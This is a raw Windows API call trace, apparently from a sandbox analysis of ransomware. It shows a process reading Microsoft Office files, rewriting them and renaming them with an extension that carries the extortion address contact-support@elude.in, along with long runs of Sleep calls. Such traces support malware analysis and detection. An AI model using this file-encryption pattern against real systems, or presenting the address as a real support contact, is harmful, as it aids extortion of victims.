FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24707df7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24707df7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24707df7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x650040, dwReserved1=0x75006c, cFileName="Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXHXCI~1.FIR")) returned 0x6d5500 [0266.313] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0266.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.313] GetProcessHeap () returned 0x630000 [0266.313] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x69ec20 [0266.313] GetProcessHeap () returned 0x630000 [0266.313] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x341) returned 0x6fbec88 [0266.313] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.313] ReadFile (in: hFile=0x648, lpBuffer=0x69ec20, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x69ec20*, lpNumberOfBytesRead=0x2ffff0c*=0x320, lpOverlapped=0x0) returned 1 [0266.318] GetProcessHeap () returned 0x630000 [0266.318] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0266.318] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.318] WriteFile (in: hFile=0x648, lpBuffer=0x6fbec88*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbec88*, lpNumberOfBytesWritten=0x2ffff0c*=0x320, lpOverlapped=0x0) returned 1 [0266.319] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.319] WriteFile (in: hFile=0x648, lpBuffer=0x6fbefa7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbefa7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.319] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.319] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.319] CloseHandle (hObject=0x648) returned 1 [0266.319] GetProcessHeap () returned 0x630000 [0266.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbec88 | out: hHeap=0x630000) returned 1 [0266.319] GetProcessHeap () returned 0x630000 [0266.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69ec20 | out: hHeap=0x630000) returned 1 [0266.319] GetProcessHeap () returned 0x630000 [0266.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0266.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24707df7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24707df7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64afa2a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0xdd07496, dwReserved1=0x69ec18, cFileName="Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXHXCI~1.FIR")) returned 0x6d51c0 [0266.319] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0266.319] Sleep (dwMilliseconds=0x1) [0266.359] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", len=0x66 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 1 [0266.359] GetProcessHeap () returned 0x630000 [0266.359] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba4) returned 0x6fe3bb0 [0266.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0266.360] CloseHandle (hObject=0x4e0) returned 1 [0266.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\pictim32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130c0, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PICTIM~1.FIR")) returned 0x6d5040 [0266.361] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0266.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\pictim32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0266.362] GetProcessHeap () returned 0x630000 [0266.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73607d0 [0266.362] GetProcessHeap () returned 0x630000 [0266.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bc00 [0266.362] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.362] ReadFile (in: hFile=0x4e0, lpBuffer=0x73607d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x73607d0*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.789] GetProcessHeap () returned 0x630000 [0274.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0274.789] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.789] WriteFile (in: hFile=0x4e0, lpBuffer=0x736bc00*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bc00*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.790] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.790] WriteFile (in: hFile=0x4e0, lpBuffer=0x7376fff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7376fff*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.790] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.790] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.790] CloseHandle (hObject=0x4e0) returned 1 [0274.790] GetProcessHeap () returned 0x630000 [0274.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bc00 | out: hHeap=0x630000) returned 1 [0274.790] GetProcessHeap () returned 0x630000 [0274.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73607d0 | out: hHeap=0x630000) returned 1 [0274.791] GetProcessHeap () returned 0x630000 [0274.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0274.791] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69bb6ad7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x130e4, dwReserved0=0xdd07496, dwReserved1=0x73607c8, cFileName="PICTIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PICTIM~1.FIR")) returned 0x6d5540 [0274.791] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0274.791] Sleep (dwMilliseconds=0x1) Thread: id = 38 os_tid = 0xf00 [0067.195] Sleep (dwMilliseconds=0x1) [0067.441] Sleep (dwMilliseconds=0x1) [0067.560] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.827] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.540] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.742] Sleep (dwMilliseconds=0x1) [0068.797] Sleep (dwMilliseconds=0x1) [0068.835] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.981] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.203] Sleep (dwMilliseconds=0x1) [0069.244] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.567] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.609] Sleep (dwMilliseconds=0x1) [0073.757] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.044] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.003] Sleep (dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.066] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.906] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.976] Sleep (dwMilliseconds=0x1) [0078.002] Sleep (dwMilliseconds=0x1) [0078.085] Sleep (dwMilliseconds=0x1) [0078.118] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.512] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.573] Sleep (dwMilliseconds=0x1) [0078.606] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.663] Sleep (dwMilliseconds=0x1) [0078.672] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.419] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.521] Sleep (dwMilliseconds=0x1) [0079.535] Sleep (dwMilliseconds=0x1) [0079.551] Sleep (dwMilliseconds=0x1) [0079.596] Sleep (dwMilliseconds=0x1) [0079.615] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.656] Sleep (dwMilliseconds=0x1) [0079.680] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.888] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.305] Sleep (dwMilliseconds=0x1) [0080.312] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.388] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.839] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.001] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.052] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.435] Sleep (dwMilliseconds=0x1) [0081.529] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.568] Sleep (dwMilliseconds=0x1) [0081.578] Sleep (dwMilliseconds=0x1) [0081.603] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.632] Sleep (dwMilliseconds=0x1) [0081.661] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.963] Sleep (dwMilliseconds=0x1) [0081.974] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.032] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.156] Sleep (dwMilliseconds=0x1) [0082.195] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.961] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.091] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.057] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1036\\eula.rtf", len=0x23 | out: pbstr=0x323ff7c*="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 1 [0088.057] GetProcessHeap () returned 0x630000 [0088.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x18) returned 0x6b0418 [0088.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.057] CloseHandle (hObject=0x68c) returned 1 [0088.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 